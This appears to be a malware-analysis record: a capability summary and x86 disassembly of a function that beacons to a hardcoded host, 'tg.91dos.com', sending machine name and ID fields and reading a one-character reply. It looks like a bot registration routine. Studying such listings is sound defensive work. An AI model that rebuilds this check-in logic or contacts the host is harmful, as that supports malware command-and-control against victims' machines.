Function at 0x4046ef
Capabilities:
Create http request
Print debug messages
Read data from internet
Receive data

Disassembly:
mov eax, 0x417970
call fcn.00407e74
mov eax, 0x12c0
call fcn.00407fb0
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.0040439c
mov dword [esp], 0x420ec0
push dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
jne 0x404730
xor esi, esi
jmp 0x40496a
push 1
lea ecx, [ebp - 0x14]
call fcn.004107e9
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004045f2
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0041057b
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.004104d2
push dword [0x4210cc]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call esi
mov eax, dword [0x41f804]
mov dword [ebp - 0x20], eax
push ebx
lea eax, [ebp - 0x20]
push dword [ebp - 0x14]
mov byte [ebp - 4], 2
push dword [0x4210cc]
push str.http:__tg.91dos.com:7988_regstat.aspx_name_smachine_sid2act_d
push eax
call fcn.0040fba6
add esp, 0x14
push dword [ebp - 0x14]
call esi
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x12cb]
mov byte [ebp - 0x12cc], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.HttpDownload
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x4047cd
xor esi, esi
jmp 0x40495f
mov edi, dword [ebp - 0x20]
push ebx
lea eax, [ebp - 0x12cc]
push 2
push eax
call fcn.00407f30
pop ecx
push eax
lea eax, [ebp - 0x12cc]
push eax
push edi
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x4047c6
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x47]
mov byte [ebp - 0x48], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x20
push eax
lea eax, [ebp - 0x48]
push eax
push 0x13
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
lea eax, [ebp - 0x48]
push eax
jne 0x404868
lea eax, [ebp - 0xcc]
push str.XX:STATUS_CODE_:__s_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
call esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.004104d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004104d2
xor eax, eax
jmp 0x404978
call fcn.00407f1e
pop ecx
push 0x64
cdq
pop ecx
idiv ecx
mov ecx, dword [0x41f804]
mov dword [ebp - 0x10], ecx
cmp eax, 2
mov byte [ebp - 4], 3
je 0x4048a7
lea eax, [ebp - 0x48]
push eax
push 0x41f0dc
lea eax, [ebp - 0x10]
push eax
call fcn.0040fba6
add esp, 0xc
push dword [ebp - 0x10]
call esi
xor esi, esi
jmp 0x404953
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x67]
mov byte [ebp - 0x68], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x20
push eax
lea eax, [ebp - 0x68]
push eax
push 0x14
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x4048e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41f0c0
jmp 0x40488f
mov edi, 0x200
lea eax, [ebp - 0x2cc]
push edi
push ebx
push eax
call fcn.00408090
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2cc]
push edi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404924
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41f2d8
jmp 0x40488f
push dword [ebp - 0x1c]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x18]
call edi
cmp byte [ebp - 0x2cc], 0x30
je 0x404950
cmp byte [ebp - 0x2cc], 0x31
je 0x404950
push str.return
jmp 0x40489e
push 1
pop esi
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.004104d2
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.004104d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004104d2
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret